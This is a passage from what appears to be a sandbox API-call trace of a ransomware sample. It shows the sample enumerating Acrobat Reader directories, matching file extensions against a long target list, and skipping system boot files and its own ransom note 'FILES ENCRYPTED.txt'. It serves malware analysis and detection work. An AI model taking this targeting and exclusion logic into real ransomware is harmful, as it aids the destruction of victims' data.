lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380bd60 [0285.287] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.287] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.287] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0285.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.287] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.287] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 102 [0285.287] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 1 [0285.287] lstrlenW (lpString="libs") returned 4 [0285.287] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="libs") returned -1 [0285.287] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.287] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 102 [0285.287] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380c0e0 [0285.287] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.287] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.287] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0285.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.287] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.287] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0285.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0285.288] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.288] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0285.288] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.288] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.288] lstrlenW (lpString="main-cef-mac.css") returned 16 [0285.288] lstrlenW (lpString=".1cd") returned 4 [0285.288] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0285.288] lstrlenW (lpString=".3ds") returned 4 [0285.288] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0285.288] lstrlenW (lpString=".3fr") returned 4 [0285.288] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0285.288] lstrlenW (lpString=".3g2") returned 4 [0285.288] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0285.288] lstrlenW (lpString=".3gp") returned 4 [0285.288] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0285.288] lstrlenW (lpString=".7z") returned 3 [0285.288] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0285.288] lstrlenW (lpString=".accda") returned 6 [0285.288] lstrcmpiW (lpString1=".accda", lpString2="ac.css") returned -1 [0285.288] lstrlenW (lpString=".accdb") returned 6 [0285.288] lstrcmpiW (lpString1=".accdb", lpString2="ac.css") returned -1 [0285.288] lstrlenW (lpString=".accdc") returned 6 [0285.289] lstrcmpiW (lpString1=".accdc", lpString2="ac.css") returned -1 [0285.289] lstrlenW (lpString=".accde") returned 6 [0285.289] lstrcmpiW (lpString1=".accde", lpString2="ac.css") returned -1 [0285.289] lstrlenW (lpString=".accdt") returned 6 [0285.289] lstrcmpiW (lpString1=".accdt", lpString2="ac.css") returned -1 [0285.289] lstrlenW (lpString=".accdw") returned 6 [0285.289] lstrcmpiW (lpString1=".accdw", lpString2="ac.css") returned -1 [0285.289] lstrlenW (lpString=".adb") returned 4 [0285.289] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".adp") returned 4 [0285.289] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".ai") returned 3 [0285.289] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0285.289] lstrlenW (lpString=".ai3") returned 4 [0285.289] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".ai4") returned 4 [0285.289] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".ai5") returned 4 [0285.289] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".ai6") returned 4 [0285.289] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".ai7") returned 4 [0285.289] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".ai8") returned 4 [0285.289] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0285.289] lstrlenW (lpString=".anim") returned 5 [0285.290] lstrcmpiW (lpString1=".anim", lpString2="c.css") returned -1 [0285.290] lstrlenW (lpString=".arw") returned 4 [0285.290] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".as") returned 3 [0285.290] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0285.290] lstrlenW (lpString=".asa") returned 4 [0285.290] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".asc") returned 4 [0285.290] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".ascx") returned 5 [0285.290] lstrcmpiW (lpString1=".ascx", lpString2="c.css") returned -1 [0285.290] lstrlenW (lpString=".asm") returned 4 [0285.290] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".asmx") returned 5 [0285.290] lstrcmpiW (lpString1=".asmx", lpString2="c.css") returned -1 [0285.290] lstrlenW (lpString=".asp") returned 4 [0285.290] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".aspx") returned 5 [0285.290] lstrcmpiW (lpString1=".aspx", lpString2="c.css") returned -1 [0285.290] lstrlenW (lpString=".asr") returned 4 [0285.290] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".asx") returned 4 [0285.290] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".avi") returned 4 [0285.290] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0285.290] lstrlenW (lpString=".avs") returned 4 [0285.291] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".backup") returned 7 [0285.291] lstrcmpiW (lpString1=".backup", lpString2="mac.css") returned -1 [0285.291] lstrlenW (lpString=".bak") returned 4 [0285.291] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".bay") returned 4 [0285.291] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".bd") returned 3 [0285.291] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0285.291] lstrlenW (lpString=".bin") returned 4 [0285.291] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".bmp") returned 4 [0285.291] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".bz2") returned 4 [0285.291] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".c") returned 2 [0285.291] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0285.291] lstrlenW (lpString=".cdr") returned 4 [0285.291] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".cer") returned 4 [0285.291] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".cf") returned 3 [0285.291] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0285.291] lstrlenW (lpString=".cfc") returned 4 [0285.291] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0285.291] lstrlenW (lpString=".cfm") returned 4 [0285.292] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".cfml") returned 5 [0285.292] lstrcmpiW (lpString1=".cfml", lpString2="c.css") returned -1 [0285.292] lstrlenW (lpString=".cfu") returned 4 [0285.292] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".chm") returned 4 [0285.292] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".cin") returned 4 [0285.292] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".class") returned 6 [0285.292] lstrcmpiW (lpString1=".class", lpString2="ac.css") returned -1 [0285.292] lstrlenW (lpString=".clx") returned 4 [0285.292] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".config") returned 7 [0285.292] lstrcmpiW (lpString1=".config", lpString2="mac.css") returned -1 [0285.292] lstrlenW (lpString=".cpp") returned 4 [0285.292] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".cr2") returned 4 [0285.292] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".crt") returned 4 [0285.292] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".crw") returned 4 [0285.292] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0285.292] lstrlenW (lpString=".cs") returned 3 [0285.292] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0285.292] lstrlenW (lpString=".css") returned 4 [0285.292] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0285.293] lstrlenW (lpString="main-cef-mac.css") returned 16 [0285.293] lstrlenW (lpString=".carcn") returned 6 [0285.293] lstrcmpiW (lpString1=".carcn", lpString2="ac.css") returned -1 [0285.293] lstrlenW (lpString="main-cef-mac.css") returned 16 [0285.293] lstrcmpiW (lpString1="boot.ini", lpString2="main-cef-mac.css") returned -1 [0285.293] lstrcmpiW (lpString1="bootfont.bin", lpString2="main-cef-mac.css") returned -1 [0285.293] lstrcmpiW (lpString1="ntldr", lpString2="main-cef-mac.css") returned 1 [0285.293] lstrcmpiW (lpString1="ntdetect.com", lpString2="main-cef-mac.css") returned 1 [0285.293] lstrcmpiW (lpString1="io.sys", lpString2="main-cef-mac.css") returned -1 [0285.293] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main-cef-mac.css") returned -1 [0285.293] lstrcmpiW (lpString1="Info.hta", lpString2="main-cef-mac.css") returned -1 [0285.293] lstrcmpiW (lpString1="chrome64b.exe", lpString2="main-cef-mac.css") returned -1 [0285.293] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css") returned 104 [0285.293] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.293] lstrlenW (lpString="main-cef-ui-theme.css") returned 21 [0285.293] lstrlenW (lpString=".1cd") returned 4 [0285.293] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0285.293] lstrlenW (lpString=".3ds") returned 4 [0285.293] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0285.293] lstrlenW (lpString=".3fr") returned 4 [0285.293] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0285.293] lstrlenW (lpString=".3g2") returned 4 [0285.293] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0285.294] lstrlenW (lpString=".3gp") returned 4 [0285.294] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0285.294] lstrlenW (lpString=".7z") returned 3 [0285.294] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0285.294] lstrlenW (lpString=".accda") returned 6 [0285.294] lstrcmpiW (lpString1=".accda", lpString2="me.css") returned -1 [0285.294] lstrlenW (lpString=".accdb") returned 6 [0285.294] lstrcmpiW (lpString1=".accdb", lpString2="me.css") returned -1 [0285.294] lstrlenW (lpString=".accdc") returned 6 [0285.294] lstrcmpiW (lpString1=".accdc", lpString2="me.css") returned -1 [0285.294] lstrlenW (lpString=".accde") returned 6 [0285.294] lstrcmpiW (lpString1=".accde", lpString2="me.css") returned -1 [0285.294] lstrlenW (lpString=".accdt") returned 6 [0285.294] lstrcmpiW (lpString1=".accdt", lpString2="me.css") returned -1 [0285.294] lstrlenW (lpString=".accdw") returned 6 [0285.294] lstrcmpiW (lpString1=".accdw", lpString2="me.css") returned -1 [0285.294] lstrlenW (lpString=".adb") returned 4 [0285.294] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0285.294] lstrlenW (lpString=".adp") returned 4 [0285.294] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0285.294] lstrlenW (lpString=".ai") returned 3 [0285.294] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0285.294] lstrlenW (lpString=".ai3") returned 4 [0285.294] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0285.294] lstrlenW (lpString=".ai4") returned 4 [0285.294] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0285.294] lstrlenW (lpString=".ai5") returned 4 [0285.295] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".ai6") returned 4 [0285.295] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".ai7") returned 4 [0285.295] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".ai8") returned 4 [0285.295] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".anim") returned 5 [0285.295] lstrcmpiW (lpString1=".anim", lpString2="e.css") returned -1 [0285.295] lstrlenW (lpString=".arw") returned 4 [0285.295] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".as") returned 3 [0285.295] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0285.295] lstrlenW (lpString=".asa") returned 4 [0285.295] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".asc") returned 4 [0285.295] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".ascx") returned 5 [0285.295] lstrcmpiW (lpString1=".ascx", lpString2="e.css") returned -1 [0285.295] lstrlenW (lpString=".asm") returned 4 [0285.295] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".asmx") returned 5 [0285.295] lstrcmpiW (lpString1=".asmx", lpString2="e.css") returned -1 [0285.295] lstrlenW (lpString=".asp") returned 4 [0285.295] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0285.295] lstrlenW (lpString=".aspx") returned 5 [0285.296] lstrcmpiW (lpString1=".aspx", lpString2="e.css") returned -1 [0285.296] lstrlenW (lpString=".asr") returned 4 [0285.296] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".asx") returned 4 [0285.296] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".avi") returned 4 [0285.296] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".avs") returned 4 [0285.296] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".backup") returned 7 [0285.296] lstrcmpiW (lpString1=".backup", lpString2="eme.css") returned -1 [0285.296] lstrlenW (lpString=".bak") returned 4 [0285.296] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".bay") returned 4 [0285.296] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".bd") returned 3 [0285.296] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0285.296] lstrlenW (lpString=".bin") returned 4 [0285.296] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".bmp") returned 4 [0285.296] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".bz2") returned 4 [0285.296] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0285.296] lstrlenW (lpString=".c") returned 2 [0285.296] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0285.296] lstrlenW (lpString=".cdr") returned 4 [0285.297] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".cer") returned 4 [0285.297] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".cf") returned 3 [0285.297] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0285.297] lstrlenW (lpString=".cfc") returned 4 [0285.297] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".cfm") returned 4 [0285.297] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".cfml") returned 5 [0285.297] lstrcmpiW (lpString1=".cfml", lpString2="e.css") returned -1 [0285.297] lstrlenW (lpString=".cfu") returned 4 [0285.297] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".chm") returned 4 [0285.297] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".cin") returned 4 [0285.297] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".class") returned 6 [0285.297] lstrcmpiW (lpString1=".class", lpString2="me.css") returned -1 [0285.297] lstrlenW (lpString=".clx") returned 4 [0285.297] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0285.297] lstrlenW (lpString=".config") returned 7 [0285.298] lstrcmpiW (lpString1=".config", lpString2="eme.css") returned -1 [0285.298] lstrlenW (lpString=".cpp") returned 4 [0285.298] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0285.298] lstrlenW (lpString=".cr2") returned 4 [0285.298] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0285.298] lstrlenW (lpString=".crt") returned 4 [0285.298] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0285.298] lstrlenW (lpString=".crw") returned 4 [0285.298] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0285.298] lstrlenW (lpString=".cs") returned 3 [0285.298] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0285.298] lstrlenW (lpString=".css") returned 4 [0285.298] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0285.298] lstrlenW (lpString="main-cef-ui-theme.css") returned 21 [0285.298] lstrlenW (lpString=".carcn") returned 6 [0285.298] lstrcmpiW (lpString1=".carcn", lpString2="me.css") returned -1 [0285.298] lstrlenW (lpString="main-cef-ui-theme.css") returned 21 [0285.298] lstrcmpiW (lpString1="boot.ini", lpString2="main-cef-ui-theme.css") returned -1 [0285.298] lstrcmpiW (lpString1="bootfont.bin", lpString2="main-cef-ui-theme.css") returned -1 [0285.298] lstrcmpiW (lpString1="ntldr", lpString2="main-cef-ui-theme.css") returned 1 [0285.298] lstrcmpiW (lpString1="ntdetect.com", lpString2="main-cef-ui-theme.css") returned 1 [0285.298] lstrcmpiW (lpString1="io.sys", lpString2="main-cef-ui-theme.css") returned -1 [0285.298] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main-cef-ui-theme.css") returned -1 [0285.298] lstrcmpiW (lpString1="Info.hta", lpString2="main-cef-ui-theme.css") returned -1 [0285.298] lstrcmpiW (lpString1="chrome64b.exe", lpString2="main-cef-ui-theme.css") returned -1 [0285.298] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css") returned 109 [0285.299] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.299] lstrlenW (lpString="main-cef-win.css") returned 16 [0285.299] lstrlenW (lpString=".1cd") returned 4 [0285.299] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0285.299] lstrlenW (lpString=".3ds") returned 4 [0285.299] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0285.299] lstrlenW (lpString=".3fr") returned 4 [0285.299] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0285.299] lstrlenW (lpString=".3g2") returned 4 [0285.299] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0285.299] lstrlenW (lpString=".3gp") returned 4 [0285.299] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0285.299] lstrlenW (lpString=".7z") returned 3 [0285.299] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0285.299] lstrlenW (lpString=".accda") returned 6 [0285.299] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1 [0285.299] lstrlenW (lpString=".accdb") returned 6 [0285.299] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1 [0285.299] lstrlenW (lpString=".accdc") returned 6 [0285.299] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1 [0285.299] lstrlenW (lpString=".accde") returned 6 [0285.299] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1 [0285.299] lstrlenW (lpString=".accdt") returned 6 [0285.300] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1 [0285.300] lstrlenW (lpString=".accdw") returned 6 [0285.300] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1 [0285.300] lstrlenW (lpString=".adb") returned 4 [0285.300] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".adp") returned 4 [0285.300] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".ai") returned 3 [0285.300] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0285.300] lstrlenW (lpString=".ai3") returned 4 [0285.300] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".ai4") returned 4 [0285.300] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".ai5") returned 4 [0285.300] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".ai6") returned 4 [0285.300] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".ai7") returned 4 [0285.300] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".ai8") returned 4 [0285.300] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".anim") returned 5 [0285.300] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1 [0285.300] lstrlenW (lpString=".arw") returned 4 [0285.300] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0285.300] lstrlenW (lpString=".as") returned 3 [0285.301] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0285.301] lstrlenW (lpString=".asa") returned 4 [0285.301] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".asc") returned 4 [0285.301] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".ascx") returned 5 [0285.301] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1 [0285.301] lstrlenW (lpString=".asm") returned 4 [0285.301] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".asmx") returned 5 [0285.301] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1 [0285.301] lstrlenW (lpString=".asp") returned 4 [0285.301] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".aspx") returned 5 [0285.301] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1 [0285.301] lstrlenW (lpString=".asr") returned 4 [0285.301] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".asx") returned 4 [0285.301] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".avi") returned 4 [0285.301] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".avs") returned 4 [0285.301] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0285.301] lstrlenW (lpString=".backup") returned 7 [0285.301] lstrcmpiW (lpString1=".backup", lpString2="win.css") returned -1 [0285.301] lstrlenW (lpString=".bak") returned 4 [0285.302] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".bay") returned 4 [0285.302] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".bd") returned 3 [0285.302] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0285.302] lstrlenW (lpString=".bin") returned 4 [0285.302] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".bmp") returned 4 [0285.302] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".bz2") returned 4 [0285.302] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".c") returned 2 [0285.302] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0285.302] lstrlenW (lpString=".cdr") returned 4 [0285.302] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".cer") returned 4 [0285.302] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".cf") returned 3 [0285.302] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0285.302] lstrlenW (lpString=".cfc") returned 4 [0285.302] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".cfm") returned 4 [0285.302] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0285.302] lstrlenW (lpString=".cfml") returned 5 [0285.302] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1 [0285.302] lstrlenW (lpString=".cfu") returned 4 [0285.303] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".chm") returned 4 [0285.303] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".cin") returned 4 [0285.303] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".class") returned 6 [0285.303] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1 [0285.303] lstrlenW (lpString=".clx") returned 4 [0285.303] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".config") returned 7 [0285.303] lstrcmpiW (lpString1=".config", lpString2="win.css") returned -1 [0285.303] lstrlenW (lpString=".cpp") returned 4 [0285.303] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".cr2") returned 4 [0285.303] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".crt") returned 4 [0285.303] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".crw") returned 4 [0285.303] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0285.303] lstrlenW (lpString=".cs") returned 3 [0285.303] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0285.303] lstrlenW (lpString=".css") returned 4 [0285.303] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0285.303] lstrlenW (lpString="main-cef-win.css") returned 16 [0285.303] lstrlenW (lpString=".carcn") returned 6 [0285.303] lstrcmpiW (lpString1=".carcn", lpString2="in.css") returned -1 [0285.304] lstrlenW (lpString="main-cef-win.css") returned 16 [0285.304] lstrcmpiW (lpString1="boot.ini", lpString2="main-cef-win.css") returned -1 [0285.304] lstrcmpiW (lpString1="bootfont.bin", lpString2="main-cef-win.css") returned -1 